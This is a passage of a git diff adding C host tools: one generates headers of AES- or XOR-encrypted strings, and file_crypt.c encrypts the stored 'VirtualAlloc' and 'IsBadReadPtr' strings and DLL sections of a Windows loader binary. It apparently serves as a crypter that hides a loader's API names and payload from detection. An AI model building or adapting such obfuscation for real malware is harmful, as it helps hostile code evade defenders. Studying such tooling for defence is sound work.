((opts->fmt && cur->dt == DT_SECTION && !name_section) || (!name_section && !addSections)) { + /* SECTIONS: generate xor string entries as simple macro */ + + if (!addSections) { + name_section = "ROOT"; + const size_t flen = strlen(opts->fmt); + const size_t elen = strlen(opts->ent); + char* fmt = calloc(flen+elen+1, sizeof(char)); + strncpy(fmt, opts->fmt, flen); + strncpy(fmt+flen, opts->ent, elen); + outsiz = asprintf(&outbuf, fmt, opts->com, name, name_section, &cur->defName[0]); + free(fmt); + } else { + name_section = &cur->defName[0]; + outsiz = asprintf(&outbuf, opts->fmt, opts->com, name, name_section); + } + } else + if (opts->fmt && cur->dt == DT_ENDSECTION && name_section && addSections) { + name_section = NULL; + fseek(outfile, -4, SEEK_CUR); + writeOrAbort(opts->overw, strlen(opts->overw), outfile); + } else + if (name_section && cur->dt == DT_DEFAULT) { + outsiz = asprintf(&outbuf, opts->ent, &cur->defName[0]); + } + /* ignore section entries if user wants only root section entries */ + if (!addSections && cur->dt == DT_SECTION) { + while ( (cur = cur->next) && cur->dt != DT_ENDSECTION ) {} + } + + /* write output buffer */ + if (outsiz > 0) { + writeOrAbort(outbuf, outsiz, outfile); + free(outbuf); + } + } + fseek(outfile, -4, SEEK_CUR); + writeOrAbort(opts->overw, strlen(opts->overw), outfile); + + return 0; +} + +/* string struct defines for each section */ +static const char fmt_strsec[] = "%s\n#define %s_%s_STRINGS \\\n"; +static const char com_strsec[] = "\n\n/* for use in string struct */"; +static const char fmt_strent[] = " STRENT(%s), \\\n"; +/* replace last 4 bytes with newlines */ +static const char overw[] = "\n\n\n\n"; + +int addStrStructEntries(FILE* outfile, const char* name, const struct defines* begin, bool addSections) +{ + struct entOpts opts = {0}; + opts.fmt = fmt_strsec; + opts.com = com_strsec; + opts.ent = fmt_strent; + opts.overw = overw; + return addStrEntry(outfile, name, begin, &opts, addSections); +} + +/* string enum defines for each section */ +static const char fmt_enmsec[] = "%s\n#define %s_%s_ENUM \\\n"; +static const char com_enmsec[] = "\n\n/* for use in string enum */"; +static const char fmt_enment[] = " %s_ENUM, \\\n"; + +int addStrEnumEntries(FILE* outfile, const char* name, const struct defines* begin, bool addSections) +{ + struct entOpts opts = {0}; + opts.fmt = fmt_enmsec; + opts.com = com_enmsec; + opts.ent = fmt_enment; + opts.overw = overw; + return addStrEntry(outfile, name, begin, &opts, addSections); +} + +char* gencstr(unsigned char* buf, size_t siz) +{ + int i; + char* buf_str = (char*)calloc(1, 4*siz + 1); + char* buf_ptr = buf_str; + for (i = 0; i < siz; i++) + { + buf_ptr += sprintf(buf_ptr, "\\x%02X", buf[i]); + } + *(buf_ptr) = '\0'; + return buf_str; +} + +void genUnescapedBuf(char* buf, uint32_t* siz) +{ + int i; + size_t found = 0; + bool hasBackslash = false; + for (i = 0; i < *siz; i++) + { + unsigned char byte = 0x00; + + if (buf[i] == '\\') { + if (hasBackslash) { + memmove(&buf[i], &buf[i+1], (*siz)-i-1); + (*siz)--; + buf[(*siz)] = '\0'; + } + hasBackslash = !hasBackslash; + continue; + } + + if (hasBackslash && buf[i] == 'x') { + i++; + for (int j = i; j < i+2; j++) { + char cur = tolower(buf[j]); + unsigned char shifter = (j == i ? 4 : 0); + if (cur == '\0') break; + if (cur >= 48 && cur <= 57) { + byte |= (cur - 48) << shifter; + } else if (cur >= 97 && cur <= 102) { + byte |= (cur - 97 + 10) << shifter; + } + } + i += 2; + buf[i-4] = byte; + memmove(buf+i-3, buf+i, (*siz)-i); + i -= 4; + hasBackslash = false; + found++; + } else + if (hasBackslash) + hasBackslash = false; + } + *siz -= (found*3); +} + +int doSelfTest(void) +{ + int ret = 0; + + unsigned char __aeskey[KEY_256+1]; + memset(&__aeskey[0], '\0', sizeof(unsigned char)*(KEY_256+1)); + aes_randomkey(&__aeskey[0], KEY_256); + aes_ctx_t* __ctx = aes_alloc_ctx(&__aeskey[0], KEY_256); + + char __ptext[16] = "Attack at dawn!"; + char __ctext[16]; + char __decptext[16]; + aes_encrypt(__ctx, (unsigned char*)__ptext, (unsigned char*)__ctext); + aes_decrypt(__ctx, (unsigned char*)__ctext, (unsigned char*)__decptext); + if (strcmp(__ptext, __decptext) != 0) { + ret = 1; + goto selftest_fin; + } + + char __inbuf[] = "This is a short short short short short text, but bigger than 16 bytes ..."; + uint32_t __outlen = 0; + char* __outbuf = aes_crypt_s(__ctx, __inbuf, sizeof(__inbuf), &__outlen, true); + uint32_t __orglen = 0; + char* __orgbuf = aes_crypt_s(__ctx, __outbuf, __outlen, &__orglen, false); + + if (strcmp(__inbuf, __orgbuf) != 0) + ret = 1; + +selftest_fin: + free(__orgbuf); + free(__outbuf); + aes_free_ctx(__ctx); + return ret; +} + +int main(int argc, char** argv) +{ + aes_init(); + struct defines* cur = defs = calloc(sizeof(struct defines), 1); + int ret = -1; + if ( (ret = doSelfTest()) != 0) { + printf("%s: SelfTest failed with %d\n", argv[0], ret); + } + + if (argc != 5) { + printf("usage: %s [AES|XOR] [STRING.h] [CRYPTED.h] [KEYNAME-DEFINE]\n", argv[0]); + printf("e.g.: %s aes include/aes_strings.h include/aes_strings_gen.h AESKEY\n", argv[0]); + exit(EXIT_FAILURE); + } + + bool doAes; + if (strcasecmp(argv[1], "aes") == 0) { + doAes = true; + } else if (strcasecmp(argv[1], "xor") == 0) { + doAes = false; + } else { + printf("%s error: [AES|XOR] and not %s\n", argv[0], argv[1]); + exit(EXIT_FAILURE); + } + + char* cstr_key = NULL; + if (doAes) { + memset(&aeskey[0], '\0', sizeof(aeskey)); + aes_randomkey(&aeskey[0], sizeof(aeskey)); + + ctx = aes_alloc_ctx(&aeskey[0], sizeof(aeskey)); + cstr_key = gencstr(&aeskey[0], sizeof(aeskey)); + } else { + xorkey = xor32_randomkey(); + cstr_key = gencstr((unsigned char*)&xorkey, sizeof(xorkey)); + } + + FILE* infile = fopen(argv[2], "r"); + FILE* outfile = fopen(argv[3], "w+"); + if (!infile || !outfile) { + printf("%s: %s does not exist!\n", argv[0], (!infile ? argv[2] : argv[3])); + exit(EXIT_FAILURE); + } + + char* keydef = NULL; + char* keysizdef = NULL; + if (doAes) { + asprintf(&keydef, "#define %s \"", argv[4]); + fwrite(keydef, 1, strlen(keydef), outfile); + fwrite(cstr_key, 1, strlen(cstr_key), outfile); + fwrite("\"\n", 1, 2, outfile); + asprintf(&keysizdef, "#define %sSIZ %u\n", argv[4], (unsigned int)(sizeof(aeskey)/sizeof(aeskey[0]))); + fwrite(keysizdef, 1, strlen(keysizdef), outfile); + free(cstr_key); + } else { + asprintf(&keydef, "#define %s ", argv[4]); + char xorkeystr[12]; + snprintf(&xorkeystr[0], 11, "%u", xorkey); + xorkeystr[11] = '\0'; + fwrite(keydef, 1, strlen(keydef), outfile); + fwrite(&xorkeystr[0], 1, strlen(xorkeystr), outfile); + fwrite("\n", 1, 1, outfile); + asprintf(&keysizdef, "#define %sSIZ %u\n", argv[4], (unsigned int)sizeof(xorkey)); + fwrite(keysizdef, 1, strlen(keysizdef), outfile); + } + free(keysizdef); + keysizdef = NULL; + + char line[MAX_LINE]; + memset(&line[0], '\0', sizeof(line)); + while (fgets(line, sizeof(line), infile)) { + char* tmp = line; + char* enc = NULL; char* header = NULL; char* trailer = NULL; + uint32_t enclen = 0; + bool gotStr = false; + + if ( strstr(tmp, "#define") == tmp ) { + tmp += strlen("#define"); + if ( (tmp = strchr(tmp, '"')) ) { + tmp++; + header = tmp; + char* str = strchr(tmp, '"'); + if (str) { + trailer = str; + enclen = str-tmp; + enc = calloc(sizeof(char), enclen+1); + memcpy(enc, tmp, enclen); + genUnescapedBuf(enc, &enclen); + gotStr = true; + } + } + } else if ( strstr(tmp, "/*") ) { + if ( (tmp = strchr(tmp, ' ')) ) { + while (*(++tmp) == ' ') {} + size_t len = strlen(tmp); + if (strstr(tmp, "SECTION:") == tmp && + tmp[len-1] == '\n' && tmp[len-2] == '/' && + tmp[len-3] == '*' && tmp[len-4] == ' ') { + addDefineName(tmp, DT_SECTION, &cur); + } else if (strstr(tmp, "ENDSECTION") == tmp) { + addDefineName(tmp-1, DT_ENDSECTION, &cur); + } + } + } + + if (gotStr) { + uint32_t newsiz = 0; + char* out = NULL; + if (doAes) { + out = aes_crypt_s(ctx, enc, enclen, &newsiz, true); + } else { + out = alignedCopyBuffer(enc, &enclen, xor_align); + xor32_byte_crypt((unsigned char*)out, enclen, xorkey); + newsiz = enclen; + } + char* outcstr = gencstr((unsigned char*)out, newsiz); + + fwrite(&line[0], 1, header-&line[0], outfile); + fwrite(outcstr, 1, strlen(outcstr), outfile); + fwrite(trailer, 1, strlen(trailer), outfile); + addDefineName(&line[0], DT_DEFAULT, &cur); + + free(outcstr); + free(out); + free(enc); + } else { + fwrite(&line[0], 1, strlen(line), outfile); + } + + memset(&line[0], '\0', sizeof(line)); + } + + if (!doAes) { + if (addStrStructEntries(outfile, argv[4], defs, true) != 0) + exit(1); + if (addStrStructEntries(outfile, argv[4], defs, false) != 0) + exit(1); + if (addStrEnumEntries(outfile, argv[4], defs, true) != 0) + exit(1); + if (addStrEnumEntries(outfile, argv[4], defs, false) != 0) + exit(1); + } + + fclose(infile); + fclose(outfile); + + free(keydef); + if (doAes) { + aes_free_ctx(ctx); + } + exit(EXIT_SUCCESS); +} diff --git a/source/tools/host/old/file_crypt.c b/source/tools/host/old/file_crypt.c new file mode 100644 index 0000000..8548cfa --- /dev/null +++ b/source/tools/host/old/file_crypt.c @@ -0,0 +1,802 @@ +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#include <stdbool.h> +#include <string.h> +#include <time.h> +#include <getopt.h> +#include <errno.h> + +#include <sys/mman.h> +#include <ctype.h> + +#include "crypt.h" +#include "helper.h" +#include "loader.h" + + +static const char base64table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; +static const unsigned char loader_endmarker[] = { _LOADER_ENDMARKER }; + + +static void base64_block_encode(const char plain[3], char encoded[4]) +{ + unsigned char b0 = 0, b1 = 0, b2 = 0, b3 = 0; + + b0 = ((plain[0] & 0xFC) >> 2); + b1 = ((plain[1] & 0xF0) >> 4) | ((plain[0] & 0x03) << 4); + b2 = ((plain[1] & 0x0F) << 2) | ((plain[2] & 0xC0) >> 6); + b3 = ( plain[2] & 0x3F); + encoded[0] = base64table[b0]; + encoded[1] = base64table[b1]; + encoded[2] = base64table[b2]; + encoded[3] = base64table[b3]; +} + +static char* base64_encode(const char* plain, size_t siz, size_t* newsizptr) +{ + size_t padded = (siz % 3 == 0 ? 0 : 3 - (siz % 3)); + size_t newsiz = ( (siz + padded)/3 ) * 4; + char* tmp = calloc(newsiz, sizeof(char)); + + size_t i, j = 0; + for (i = 0; i < siz-(siz%3); i+=3) { + base64_block_encode(&plain[i], &tmp[j]); + j += 4; + } + + if (padded > 0) { + char pad[3] = { 0x00, 0x00, 0x00 }; + for (i = 0; i < 3-padded; ++i) { + pad[i] = plain[siz-(siz%3)+i]; + } + + base64_block_encode(&pad[0], &tmp[j]); + + for (i = 0; i < padded; ++i) { + tmp[j+3-i] = '='; + } + } + + if (newsizptr) + *newsizptr = newsiz; + return tmp; +} + +static inline int xor32_crypt(uint32_t u32, uint32_t key) +{ + return u32 ^ key; +} + +static uint32_t xor32_crypt_buf(uint32_t* buf, uint32_t siz, uint32_t key) +{ + uint32_t pad = siz % sizeof(key); + if (pad) { + siz += sizeof(key) - pad; + } + uint32_t msiz = (uint32_t)(siz/sizeof(key)); + + for (register uint32_t i = 0; i < msiz; ++i) { + buf[i] = xor32_crypt(buf[i], key); + } + return siz; +} + +static uint32_t xor32_pcbc_encrypt_buf(uint32_t* buf, uint32_t siz, uint32_t iv, uint32_t key) +{ + uint32_t pad = siz % sizeof(key); + if (pad) { + siz += sizeof(key) - pad; + } + uint32_t msiz = (uint32_t)(siz/sizeof(key)); + + register uint32_t prev = iv; + for (register uint32_t i = 0; i < msiz; ++i) { + register uint32_t plain = buf[i]; + register uint32_t tmp = xor32_crypt(plain, prev); + register uint32_t crypt = xor32_crypt(tmp, key); + prev = xor32_crypt(crypt, plain); + buf[i] = crypt; + } + return siz; +} + +static void xor32_pcbc_decrypt_buf(uint32_t* buf, uint32_t siz, uint32_t iv, uint32_t key) +{ + uint32_t msiz = (uint32_t)(siz/sizeof(key)); + + register uint32_t prev = iv; + for (register uint32_t i = 0; i < msiz; ++i) { + register uint32_t crypt = buf[i]; + register uint32_t tmp = xor32_crypt(crypt, key); + register uint32_t plain = xor32_crypt(tmp, prev); + prev = xor32_crypt(crypt, plain); + buf[i] = plain; + } +} + +static ssize_t search_endmarker(unsigned char* buf, size_t siz, size_t *found_ptr) +{ + size_t endmarker_siz = sizeof(loader_endmarker)/sizeof(loader_endmarker[0]); + size_t real_siz = (siz - (siz % endmarker_siz)); + size_t marker_idx = 0, found = 0; + ssize_t offset = -1; + + for (size_t i = 0; i < real_siz; ++i) { + if (buf[i] == loader_endmarker[marker_idx++]) { + if (marker_idx == endmarker_siz) { + offset = i - (endmarker_siz - 1); + marker_idx = 0; + found++; + } + } else marker_idx = 0; + } + if (found_ptr) + *found_ptr = found; + if (found != 1) { + return -1; + } + return offset; +} + +static unsigned char* parse_hex_str(const char* hex_str, size_t* newsiz) +{ + const char* pos = hex_str; + size_t len = strlen(hex_str); + + *newsiz = len/2; + unsigned char* bin = calloc(*newsiz, sizeof(char)); + size_t i = 0; + bool skip_next = false; + + while ( *pos != '\0' ) { + if (!skip_next) { + if (sscanf(pos, "%2hhx", &bin[i]) == 1) { + pos++; + if (tolower(*pos) != 'x') { + i++; + } + skip_next = true; + continue; + } + } else skip_next = false; + pos++; + } + *newsiz = i; + return bin; +} + +static void bswap32_endianess(unsigned char* bytebuf, size_t siz) +{ + if (siz % 4 != 0) { + return; + } + for (size_t i = 0; i < siz; i+=4) { + unsigned char highest_byte = bytebuf[i]; + unsigned char higher_byte = bytebuf[i+1]; + bytebuf[i] = bytebuf[i+3]; + bytebuf[i+1] = bytebuf[i+2]; + bytebuf[i+2] = higher_byte; + bytebuf[i+3] = highest_byte; + } +} + + +enum emode { E_NONE = 0, E_BASE64, E_XOR32, E_XOR32PCBC, E_XOR32NPCBC }; +enum dmode { D_NONE = 0, D_CRYPT_SZVA, D_CRYPT_SZIB, D_CRYPT_SECTION }; + +struct options { + bool verbose; + bool print_buffer; + enum emode encmode; + uint32_t ivkeysize; + char* outfile; + char* infile; + unsigned char* inkey; + size_t keysize; + unsigned char* iniv; + size_t ivsize; + bool ldrmod; + off_t ldroffset; + enum dmode crpmode; + char* ldr_dll; + off_t dlloffset; + size_t dllsize; + bool dryrun; +} app_options; + +static const struct option long_options[] = { + {"verbose", no_argument, 0, 'v'}, + {"print-buffer", no_argument, 0, 'p'}, + {"outfile", required_argument, 0, 'o'}, + {"xor32", no_argument, 0, 1 }, + {"xor32pcbc", no_argument, 0, 2 }, + {"xor32npcbc", no_argument, 0, 3 }, + {"ivkeysize", required_argument, 0, 'k'}, + {"base64", no_argument, 0, 4 }, + {"key", required_argument, 0, 'e'}, + {"iv", required_argument, 0, 'i'}, + {"loader-offset", required_argument, 0, 'l'}, + {"loader-va", no_argument, 0, 5 }, + {"loader-ib", no_argument, 0, 6 }, + {"dll-file", required_argument, 0, 'f'}, + {"dll-hdr", required_argument, 0, 7 }, + {"dll-section", required_argument, 0, 8 }, + {"dry-run", no_argument, 0, 'd'}, + {NULL, 0, 0, 0} +}; +enum { + OPTDLL_OFFSET = 0, OPTDLL_SIZE, + OPTDLL_MAX +}; +static char* dllsubopts[] = { + [OPTDLL_OFFSET] = "offset", + [OPTDLL_SIZE] = "size", + NULL +}; +static const char const* options_help[] = { + "more output", + "print encrypted/decrypted binary buffers (hex format; massive output!)", + "output file", + "simple and unsecure 32-bit xor cipher", + "unsecure xor32-bit block cipher", + "secure xor(32*n)-bit block cipher", + "iv and key size for cipher", + "base64 (en|de)coder", + "set a key which should be 4*n bytes long", + "same behavior as key", + "binary offset to loader endmarker (see: include/loader.h)", + "encrypt loader string: strVirtualAlloc", + "encrypt loader string: strIsBadReadPtr", + "path to dll binary", + "encrypt dll header", + "encrypt dll section (requires argument offset and size)", + "dont write anything to disk" +}; +static const char const opt_fmt[] = "vpo:k:e:i:l:f:dh"; + +void +print_usage(char* arg0) +{ + fprintf(stderr, "usage: %s [OPTIONS] [INPUTFILE]\n\twhere options can be:\n", arg0); + const size_t alen = (sizeof(long_options)-sizeof(long_options[0])) / sizeof(long_options[0]); + for (size_t i = 0; i < alen; ++i) { + int hlen = ((int)strlen(options_help[i]) + 15) - (int)strlen(long_options[i].name); + char shortopt = (char)long_options[i].val; + printf("\t\t"); + if (isalpha(shortopt) != 0) { + printf("-%c,", shortopt); + } else { + hlen += 3; + } + printf("--%s", long_options[i].name); + if (long_options[i].has_arg == required_argument) { + printf(" [arg]"); + } else { + hlen += 6; + } + printf("%*s\n", hlen, options_help[i]); + } +} + +void +check_loader_arg(char* arg0) +{ + if (app_options.crpmode != D_NONE) { + fprintf(stderr, "%s: loader crypt mode already set, only ONE allowed\n", arg0); + exit(1); + } +} + +void +parse_arguments(int argc, char** argv) +{ + int c; + + if (argc <= 1) { + print_usage(argv[0]); + exit(1); + } + + memset(&app_options, '\0', sizeof(app_options)); + while (1) { + int optind = 0; + char* endptr = NULL; + + c = getopt_long(argc, argv, opt_fmt, long_options, &optind); + if (c == -1) + break; + + switch(c) { + case 'v': + app_options.verbose = true; + break; + case 'p': + app_options.print_buffer = true; + break; + case 'o': + app_options.outfile = strdup(optarg); + break; + case 1: + app_options.encmode = E_XOR32; + break; + case 2: + app_options.encmode = E_XOR32PCBC; + break; + case 3: + app_options.encmode = E_XOR32NPCBC; + break; + case 'k': + errno = 0; + app_options.ivkeysize = strtoul(optarg, &endptr, 10); + if (errno == ERANGE || errno == EINVAL || *endptr != '\0' || app_options.ivkeysize < 1) { + fprintf(stderr, "%s: ivkeysize not an unsigned decimal aka size_t\n", argv[0]); + exit(1); + } + break; + case 4: + app_options.encmode = E_BASE64; + break; + case 'e': + app_options.inkey = parse_hex_str(optarg, &app_options.keysize); + if (app_options.inkey == NULL) { + fprintf(stderr, "%s: not a valid byte-aligned hex string: %s\n", argv[0], optarg); + exit(1); + } + break; + case 'i': + app_options.iniv = parse_hex_str(optarg, &app_options.ivsize); + if (app_options.iniv == NULL) { + fprintf(stderr, "%s: not a valid byte-aligned hex string: %s\n", argv[0], optarg); + exit(1); + } + break; + case 'l': + errno = 0; + app_options.ldroffset = (size_t)strtoul(optarg, &endptr, 10); + if (errno == ERANGE || errno == EINVAL || *endptr != '\0') { + fprintf(stderr, "%s: ldroffset not an unsigned decimal aka size_t\n", argv[0]); + exit(1); + } + app_options.ldrmod = true; + break; + case 5: + check_loader_arg(argv[0]); + app_options.crpmode = D_CRYPT_SZVA; + break; + case 6: + check_loader_arg(argv[0]); + app_options.crpmode = D_CRYPT_SZIB; + break; + case 'f': + app_options.ldr_dll = strdup(optarg); + break; + case 7: + check_loader_arg(argv[0]); + app_options.crpmode = D_CRYPT_SECTION; + errno = 0; + app_options.dlloffset = 0; + app_options.dllsize = strtoul(optarg, &endptr, 10); + if (errno == ERANGE || errno == EINVAL || *endptr != '\0' || app_options.dllsize < 1) { + fprintf(stderr, "%s: dll header size is not an unsigned decimal aka size_t\n", argv[0]); + exit(1); + } + break; + case 8: + check_loader_arg(argv[0]); + app_options.crpmode = D_CRYPT_SECTION; + char* subopts = optarg; + char* value = NULL; + int errfnd = 0; + int opt; + while (*subopts != '\0' && !errfnd) { + errno = 0; + switch ( (opt = getsubopt(&subopts, dllsubopts, &value)) ) { + case OPTDLL_OFFSET: + if (value) + app_options.dlloffset = strtoul(value, &endptr, 10); + break; + case OPTDLL_SIZE: + if (value) + app_options.dllsize = strtoul(value, &endptr, 10); + break; + default: + fprintf(stderr, "%s: no match found for token: \"%s\"\n", argv[0], value); + errfnd = 1; + continue; + } + if (value == NULL) { + fprintf(stderr, "%s: missing value for subopt %s\n", argv[0], dllsubopts[opt]); + errfnd = 1; + } + if (errno == ERANGE || errno == EINVAL || *endptr != '\0') { + fprintf(stderr, "%s: dll subopt \"%s\" is not a valid unsigned decimal\n", argv[0], dllsubopts[opt]); + errfnd = 1; + } + } + if (app_options.dlloffset < 1 || app_options.dllsize < 1) { + fprintf(stderr, "%s: dll-section requires subopts %s and %s\n", argv[0], dllsubopts[OPTDLL_OFFSET], dllsubopts[OPTDLL_SIZE]); + errfnd = 1; + } + if (errfnd) { + exit(1); + } + break; + case 'd': + app_options.dryrun = true; + break; + + case 'h': + default: + print_usage(argv[0]); + exit(1); + } + } + + while (optind < argc) { + if (app_options.infile == NULL) { + app_options.infile = strdup(argv[optind++]); + } else { + fprintf(stderr, "%s: non argv elements\n", argv[optind++]); + exit(1); + } + } + + if (app_options.infile == NULL) { + fprintf(stderr, "%s: no input file\n", argv[0]); + exit(1); + } + if (app_options.outfile) { + if (strcmp(app_options.infile, app_options.outfile) == 0) { + fprintf(stderr, "%s: input file and output file should be two different files\n", argv[0]); + exit(1); + } + } + + switch (app_options.encmode) { + case E_NONE: + fprintf(stderr, "%s: no mode set\n", argv[0]); + exit(1); + case E_XOR32: + if (app_options.iniv != NULL) { + fprintf(stderr, "%s: iv is not allowed in this mode\n", argv[0]); + exit(1); + } + case E_XOR32PCBC: + if (app_options.ivkeysize != 0) { + fprintf(stderr, "%s: setting --ivkeysize not allowed in this mode (ivkeysize=1!)\n", argv[0]); + exit(1); + } + app_options.ivkeysize = 1; + if ((app_options.inkey != NULL && app_options.keysize != 4) || + (app_options.iniv != NULL && app_options.ivsize != 4)) { + fprintf(stderr, "%s: --iv/--key size MUST be 4 bytes e.g. 0xdeadc0de\n", argv[0]); + exit(1); + } + break; + case E_XOR32NPCBC: + if (app_options.crpmode != D_NONE) + break; + if (!app_options.inkey && !app_options.iniv && app_options.ivkeysize == 0) { + fprintf(stderr, "%s: missing ivkeysize\n", argv[0]); + exit(1); + } + if ((app_options.inkey != NULL && app_options.keysize % 4 != 0) || + (app_options.iniv != NULL && app_options.ivsize % 4 != 0)) { + fprintf(stderr, "%s: --iv/--key size MUST be 4*n bytes e.g. 0xdeadc0dedeadbeef\n", argv[0]); + exit(1); + } + if (app_options.inkey != NULL && app_options.iniv != NULL && + app_options.keysize != app_options.ivsize) { + fprintf(stderr, "%s: --iv/--key size MUST be equal\n", argv[0]); + exit(1); + } + if (app_options.inkey != NULL) { + app_options.ivkeysize = app_options.keysize / 4; + } else if (app_options.iniv != NULL) { + app_options.ivkeysize = app_options.ivsize / 4; + } + break; + case E_BASE64: + if (app_options.inkey != NULL || + app_options.iniv != NULL || + app_options.ivkeysize != 0) { + fprintf(stderr, "%s: --iv/--key/--ivkeysize not allowed in base64 mode\n", argv[0]); + exit(1); + } + break; + } + if (app_options.crpmode != D_NONE) { + if (app_options.encmode != E_XOR32NPCBC) { + fprintf(stderr, "%s: loader modifications only work with xor32npcbc\n", argv[0]); + exit(1); + } + if (app_options.ivkeysize != 0) { + fprintf(stderr, "%s: setting key/iv size not allowed in this mode\n", argv[0]); + exit(1); + } + if (app_options.crpmode == D_CRYPT_SECTION) { + if (app_options.ldr_dll == NULL) { + fprintf(stderr, "%s: missing dll file\n", argv[0]); + exit(1); + } + app_options.ivkeysize = LOADER_IVKEYLEN; + } else { + app_options.ivkeysize = LOADER_STR_IVKEYLEN; + } + if (app_options.crpmode != D_CRYPT_SECTION && app_options.outfile) { + fprintf(stderr, "%s: loader modification is done directly at the input binary, --outfile superfluous\n", argv[0]); + exit(1); + } + } + if (app_options.inkey != NULL) { + if (app_options.ldrmod == true) { + if (app_options.keysize != 12) { + fprintf(stderr, "%s: keysize must be 12 byte for loader string encryption\n", argv[0]); + exit(1); + } + } + bswap32_endianess(app_options.inkey, app_options.keysize); + } + if (app_options.iniv != NULL) { + if (app_options.ldrmod == true) { + if (app_options.ivsize != 12) { + fprintf(stderr, "%s: ivsize must be 12 byte for loader string encryption\n", argv[0]); + exit(1); + } + } + bswap32_endianess(app_options.iniv, app_options.ivsize); + } +} + +int main(int argc, char** argv) +{ + parse_arguments(argc, argv); + srandom(time(NULL)); + errno = 0; + + int ret = 0; + size_t siz = 0; + char* buf = mapfile(app_options.infile, &siz); + size_t orgsiz = siz; + char* orgbuf = buf; + bool print_crypted_str = false; + char* dllbuf = NULL; + + if (buf) { + if (app_options.ldrmod == false) { + size_t found = 0; + ssize_t offset = search_endmarker((unsigned char*)buf, siz, &found); + if (found != 1) { + fprintf(stderr, "%s: loader marker search error (found: %lu, offset: %ld (0x%X))\n", argv[0], found, offset, (unsigned int)offset); + exit(1); + } + if (app_options.verbose) { + printf("%s: loader marker found at offset %ld (0x%X)\n", argv[0], offset, (unsigned int)offset); + } + app_options.ldroffset = offset; + app_options.ldrmod = true; + } + + /* get loader struct */ + struct loader_x86_data* ldr = NULL; + if (app_options.ldrmod == true) { + if (memcmp((void*)(orgbuf + app_options.ldroffset), + (void*)loader_endmarker, + sizeof(loader_endmarker)/sizeof(loader_endmarker[0])) == 0) { + ldr = (struct loader_x86_data*)(orgbuf + + app_options.ldroffset + + sizeof(uint32_t) - sizeof(struct loader_x86_data)); + + if (memcmp((void*)&ldr->endMarker, + (void*)loader_endmarker, + sizeof(loader_endmarker)/sizeof(loader_endmarker[0])) != 0) { + fprintf(stderr, "%s: loader marker found, but not present after typecast, check loader struct in include/loader.h\n", argv[0]); + exit(1); + } + + char* chk = NULL; + if (app_options.crpmode == D_CRYPT_SZVA) { + buf = ldr->strVirtualAlloc; + siz = (sizeof(ldr->strVirtualAlloc)/sizeof(ldr->strVirtualAlloc[0])) - + (1 * sizeof(ldr->strVirtualAlloc[0])); + chk = buf; + } else if (app_options.crpmode == D_CRYPT_SZIB) { + buf = ldr->strIsBadReadPtr; + siz = (sizeof(ldr->strIsBadReadPtr)/sizeof(ldr->strIsBadReadPtr[0])) - + (1 * sizeof(ldr->strIsBadReadPtr[0])); + chk = buf; + } else if (app_options.crpmode == D_CRYPT_SECTION) { + dllbuf = buf = mapfile(app_options.ldr_dll, &siz); + buf += app_options.dlloffset; + siz = app_options.dllsize; + if (!buf) { + fprintf(stderr, "%s: could not map dll file into memory\n", argv[0]); + perror("mapfile"); + exit(1); + } + } + if (chk) + for (size_t i = 0; i < siz; ++i) + if (isalpha(buf[i]) == 0) { + fprintf(stderr, "%s: non ascii character found in loader string, already encrypted?\n", argv[0]); + fprintf(stderr, "%s: forcing --dry-run\n", argv[0]); + app_options.dryrun = true; + print_crypted_str = true; + break; + } + + uint32_t tmp[app_options.ivkeysize]; + memset(&tmp[0], '\0', app_options.ivkeysize*sizeof(uint32_t)); + if (memcmp(&tmp[0], &ldr->key[0], app_options.ivkeysize*sizeof(uint32_t)) != 0) { + if (app_options.inkey) { + fprintf(stderr, "%s: loader->key is not NULL, but --key set?\n", argv[0]); + exit(1); + } else { + app_options.inkey = calloc(app_options.ivkeysize, sizeof(uint32_t)); + memcpy(app_options.inkey, &ldr->key[0], app_options.ivkeysize*sizeof(uint32_t)); + } + } + if (memcmp(&tmp[0], &ldr->iv[0], app_options.ivkeysize*sizeof(uint32_t)) != 0) { + if (app_options.iniv) { + fprintf(stderr, "%s: loader->iv is not NULL, but --iv set?\n", argv[0]); + exit(1); + } else { + app_options.iniv = calloc(app_options.ivkeysize, sizeof(uint32_t)); + memcpy(app_options.iniv, &ldr->iv[0], app_options.ivkeysize*sizeof(uint32_t)); + } + } + } else { + fprintf(stderr, "%s: loader offset set, but no endmarker found\n", argv[0]); + exit(1); + } + } + + if (app_options.print_buffer) { + printf("Buffer (Size: %lu):\n", siz); + printbytebuf(buf, siz, 78, app_options.verbose); + } + + size_t newsiz = 0; + char* cryptd = NULL; + uint32_t key[app_options.ivkeysize]; + uint32_t iv[app_options.ivkeysize]; + memset(&key[0], '\0', app_options.ivkeysize*sizeof(uint32_t)); + memset(&iv[0], '\0', app_options.ivkeysize*sizeof(uint32_t)); + + /* copy key/iv if there are any */ + if (app_options.inkey != NULL) { + memcpy(&key[0], app_options.inkey, app_options.ivkeysize*sizeof(uint32_t)); + } + if (app_options.iniv != NULL) { + memcpy(&iv[0], app_options.iniv, app_options.ivkeysize*sizeof(uint32_t)); + } + + /* otherwise generate random iv/key if neccessary */ + for (uint32_t i = 0; i < app_options.ivkeysize; ++i) { + while (iv[i] == 0) { iv[i] = random(); } + while (key[i] == 0) { key[i] = random(); } + } + + /* update loader header */ + if (ldr && !app_options.dryrun) { + memcpy(&ldr->key[0], &key[0], app_options.ivkeysize*sizeof(uint32_t)); + memcpy(&ldr->iv[0], &iv[0], app_options.ivkeysize*sizeof(uint32_t)); + } + + /* encrypt */ + switch (app_options.encmode) { + case E_BASE64: + cryptd = base64_encode(buf, siz, &newsiz); + break; + case E_XOR32: + case E_XOR32PCBC: + cryptd = calloc(siz + 2*sizeof(uint32_t), sizeof(char)); + memcpy(cryptd, buf, siz); + if (app_options.encmode == E_XOR32) { + if (app_options.verbose) { + printf("Xor32Key: %08X\n", key[0]); + } + newsiz = xor32_crypt_buf((uint32_t*)cryptd, siz, key[0]); + } else { + if (app_options.verbose) { + printf("Xor32pcbcKey: %08X\tIV: %08X\n", key[0], iv[0]); + } + newsiz = xor32_pcbc_encrypt_buf((uint32_t*)cryptd, siz, iv[0], key[0]); + } + break; + case E_XOR32NPCBC: + cryptd = calloc(siz + (app_options.ivkeysize)*sizeof(uint32_t), sizeof(char)); + memcpy(cryptd, buf, siz); + if (app_options.verbose) { + printf("Xor32npcbcKey/IV:\n"); + for (uint32_t i = 0; i < app_options.ivkeysize; ++i) { + printf("%08X / %08X\n", key[i], iv[i]); + } + } + newsiz = xor32n_pcbc_crypt_buf((uint32_t*)cryptd, siz, &iv[0], 